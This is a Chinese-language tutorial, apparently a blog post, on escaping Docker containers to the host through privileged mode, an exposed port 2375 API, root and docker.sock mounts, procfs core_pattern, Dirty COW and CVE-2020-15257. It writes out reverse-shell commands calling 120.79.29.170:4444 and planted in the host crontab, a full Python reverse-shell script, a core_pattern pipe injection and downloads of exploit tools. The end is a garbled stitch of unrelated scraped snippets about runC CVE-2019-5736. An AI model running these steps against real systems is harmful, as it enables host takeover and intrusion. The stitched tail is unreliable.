一、判断是否为docker容器？

直接查看目录是否有docker产生的.dockerenv，dockerpoint等文件
查看/proc/self/cgroup是否出现docker标志
查看是否存在/etc/machine-id，一般docker没有
二、privileged特权模式启动容器逃逸

当利用特权模式启动容器时，docker管理员可以通过mount命令将外部宿主机的磁盘设备挂载进容器内，获取宿主机的文件读写权限，然后可以通过crontab计划等逃逸到宿主机。
判断是否特全模式启动
cat /proc/self/status |grep Cap，对应掩码为0000003fffffffff
在docker中创建目录，然后将宿主机的磁盘挂载到新建的目录中
将反弹shell等写入计划任务
echo "bash -i >& /dev/tcp/120.79.29.170/4444 0>&1" >/aiwin/aiwin.sh
echo "* * * * * root bash /aiwin.sh" >> /aiwin/etc/crontab
反弹shell成功
 
  
 原理十分简单，特权模式使得宿主机磁盘被挂载到了docker的目录，修改docker目录中的/etc/crontab相当于修改了宿主机的/etc/crontab 
三、 Docker Remote API未授权访问逃逸
 
docker swarm用于管理Docker集群，docker节点上会开放一个TCP端口2375，默认绑定0.0.0.0，导致了任何人都开源访问，进而控制docker环境。
使用vulhub的漏洞环境 
cd vulhub-master/docker/unauthorized-rce
docker-compose build
docker-compose up -d
 这里启动不成功，不知道为什么，但是原理就是通过docker利用tcp连接访问2375端口，然后从2375端口中拉取镜像，再利用特权模式启动，最后再通过特权模式写shell进入宿主机，进而完成逃逸，主要原因是2375管理端口能被任何人使用。 
四、危险挂载导致Docker逃逸
 
 这里的危险挂载指的是将宿主机的根目录挂载进了docker机中，使得docker能够直接操作宿主机的文件，导致逃逸，跟特权模式原理相似。 
docker run -itd -v /:/aiwin name /bin/bash
 docker机的aiwin目录就是宿主机的根目录
 
 
 直接修改/etc/crontab文件写入反弹shell
 
 
 反弹shell成功
 
  
五、危险挂载Docker Socket逃逸
 
 Docker采用的是C/S架构即客户端服务端格式，可以通过以下命令操作目标的docker。
 unix:///var/run/docker.sock
 tcp://host:port
 fd://socketfd
 造成逃逸的原因是将宿主机的/var/run/docker.sock文件挂载到docker容器中，导致docker容器中可以操作宿主机的docker，进而能新创建docker从而将根目录挂载到新创建的docker中造成逃逸。 
将/var/run/docker.sock挂载到docker容器中，此时docker容器中会出现/run/docker.sock文件 
docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:16.04 /bin/bash
在docker容器中安装docker
  
apt-get update
apt-get install docker.io
在docker容器中使用命令查看宿主机的docker镜像 
docker -H unix://var/run/docker.sock images 
在docker容器中使用命令再允许一个docker容器，并将根目录挂载到docker容器目录中，写shell到定时计划 
docker -H unix://var/run/docker.sock run -v /:/aiwin -it ubuntu:16.04 /bin/bash

 5. 写shell与上面一样 
六、 挂载宿主机procfs逃逸
 
 procfs中/proc/sys/kernel/core_pattern负责配置进程崩溃时内存转储数据的导出方式，当文件中首字符是管道符|，该行剩余内容被当作脚本解释执行，从而实现docker逃逸，触发条件是进程崩溃。 
启动容器，将/proc/sys/kernel/core_pattern挂载进容器，如果找到两个core_pattern，那么可能就是挂载了宿主机的procfs 
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern 
搜索docker容器在宿主机的绝对路径，workdir即是
 
python脚本反弹shell 
import  os
import pty
import socket
lhost = "120.79.29.170"
lport = 4444
def main():
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((lhost, lport))
   os.dup2(s.fileno(), 0)
   os.dup2(s.fileno(), 1)
   os.dup2(s.fileno(), 2)
   os.putenv("HISTFILE", '/dev/null')
   pty.spawn("/bin/bash")
   s.close()
if __name__ == "__main__":
   main()
修改/host/proc/sys/kernel/core_pattern从而修改掉/proc/sys/kernel/core_pattern文件，以管道符开头，使得python脚本被执行 
chmod 777 /tmp/.t.py
echo -e "|/绝对路径/merged/脚本位置 \rcore    " >  /host/proc/sys/kernel/core_pattern

 5. 创建使容器崩溃的程序，编译运行，反弹shell成功。 
#include<stdio.h>
int main(void)  {
   int *a  = NULL;
   *a = 1;
   return 0;
 简单的NULL陷阱，没有为a开辟内存又给a赋值，使得程序崩溃。
 
  
七、脏牛漏洞来进行docker逃逸
 
 脏牛漏洞的成因是get_user_page内核函数在处理Copy-on-Write过程时，可能产生竞态条件，导致出现了能够写数据到进程空间只读内存区域的机会。
 
 linux中存在VDSO小型共享库，能将内核自动映射到用户程序的地址空间，即将内核函数映射到内存。
 
 当linux存在脏牛漏洞时，我们可以利用脏牛漏洞获取到内存的写权限，便可以写入shellcode到VDSO中，使得调用正常函数时执行shellcode，进而反弹shell，从而实现dokcer逃逸。
 
 拉取Ubuntu14.04.5版本进行复现，存在脏牛漏洞
  
git clone https://github.com/scumjr/dirtycow-vdso.git
cd /dirtycow-vdso/

 5. 执行文件反弹shell，这里虽然显示失败了，但是反弹shell却成功了
 
  
八、CVE-2020-15257逃逸
 
 在host模式下启动时，容器和host共享一套Network，且内部UID为0时，使得容器中的程序可以访问宿主的 containerd 控制API，导致逃逸。
 影响版本
 containerd < 1.4.3
 containerd < 1.3.9 
下载指定的docker版本，使用–neit=host启动镜像 
docker pull ubuntu:18.04
docker run -itd --net=host ubuntu:18.04 /bin/bash
docker exec -it 5be3ed60f152 /bin/bash
使用wget下载exp并解压 
cd /tmp
wget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz
执行exp即可反弹shell
  
总的来说，docker逃逸大部分原因都是配置出现的错误，导致能够在docker机里面直接修改宿主机的一些文件，包括挂载了socket、procfs、/等，只有少部分是由于内核漏洞导致的，所以处理好配置问题，docker逃逸应该挺难。 
                                    docker其实就是一个linux下的进程，它通过NameSpace 等命令实现了内核级别环境隔离（文件、网络、资源），所以相比虚拟机而言，Docker 的隔离性要弱上不少 ，这就导致可以通过很多方法来进行docker逃逸。
                                    这段shellcode初始化的时候会检查是否被root调用，如果是则继续执行，如果不是，则接着执行clock_gettime函数，接下来它会检测/tmp/.X文件的存在，如果存在，则这时已经是root权限了，然后它会打开一个反向的TCP链接，为Shellcode中填写的ip返回一个Shell。主从管理、默认通过2375端口通信。上面命令的含义是进入test这个容器，当宿主机上执行exec命令来进入我们运行了脚本的容器的时候，宿主机就会反弹root权限的shell给我们的vps的监听端口，至此利用结束。
                                    docker知识点–容器逃逸
容器逃逸技术概览
近年来，容器技术持续升温，全球范围内各行各业都在这一轻量级虚拟化方案上进行着积极而富有成效的探索，使其能够迅速落地并赋能产业，大大提高了资源利用效率和生产力。随着容器化的重要甚至核心业务越来越多，容器安全的重要性也在不断提高。作为一项依然处于发展阶段的新技术，容器的安全性在不断地提高，也在不断地受到挑战。与其他虚拟化技术类似，在其面临的所有安全问题当中，「逃逸问题」最为严重——它直接影响到了承载容器的底层基础设施的保密性、完整性和可用性。
从攻防的角度来看，「
                                    docker-runc CVE-2019-5736（runC容器逃逸漏洞）
1、准备漏洞环境：
curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh
2、下载poc，编译脚本
a）下载poc：https://github.com/Frichetten/CVE-2019-5736-PoC
b）修改payload
                                    Docker 逃逸在渗透测试中面向的场景大概是这样，渗透拿到shell后，发现主机是docker环境，要进一步渗透，就必须逃逸到“直接宿主机”。甚至还有物理机运行虚拟机，虚拟机运行Docker容器的情况。那就还要虚拟机逃逸了。
                                    2019年2月11日，runC的维护团队报告了一个新发现的漏洞，SUSE Linux GmbH高级软件工程师Aleksa Sarai公布了影响Docker, containerd, Podman, CRI-O等默认运行时容器runc的严重漏洞CVE-2019-5736。漏洞会对IT运行环境带来威胁，漏洞利用会触发容器逃逸、影响整个容器主机的安全，最终导致运行在该主机上的其他容器被入侵。漏洞影响AWS, Google Cloud等主流云平台。日前，该容器逃逸漏洞的PoC利用代码已在GitHub上公布。
还没给你的Docker打上脏牛补丁？坏消息来了
本人是在虚拟机中安装了具有dirtyCow漏洞的Ubuntu系统镜像；然后在该系统中安装Docker；接着下载现有的payload(exploit)代码，弄懂之后编译运行提权；实...
                                    3.1 特权容器，特权容器下，所有capabiltiy都拥有，并且对设备/dev可见。1.1 条件竞争类dirtypipe + dac_search，dirtycow。以下几个如果被挂载，都会被可写，造成逃逸。1.2 内核漏洞,uaf等等。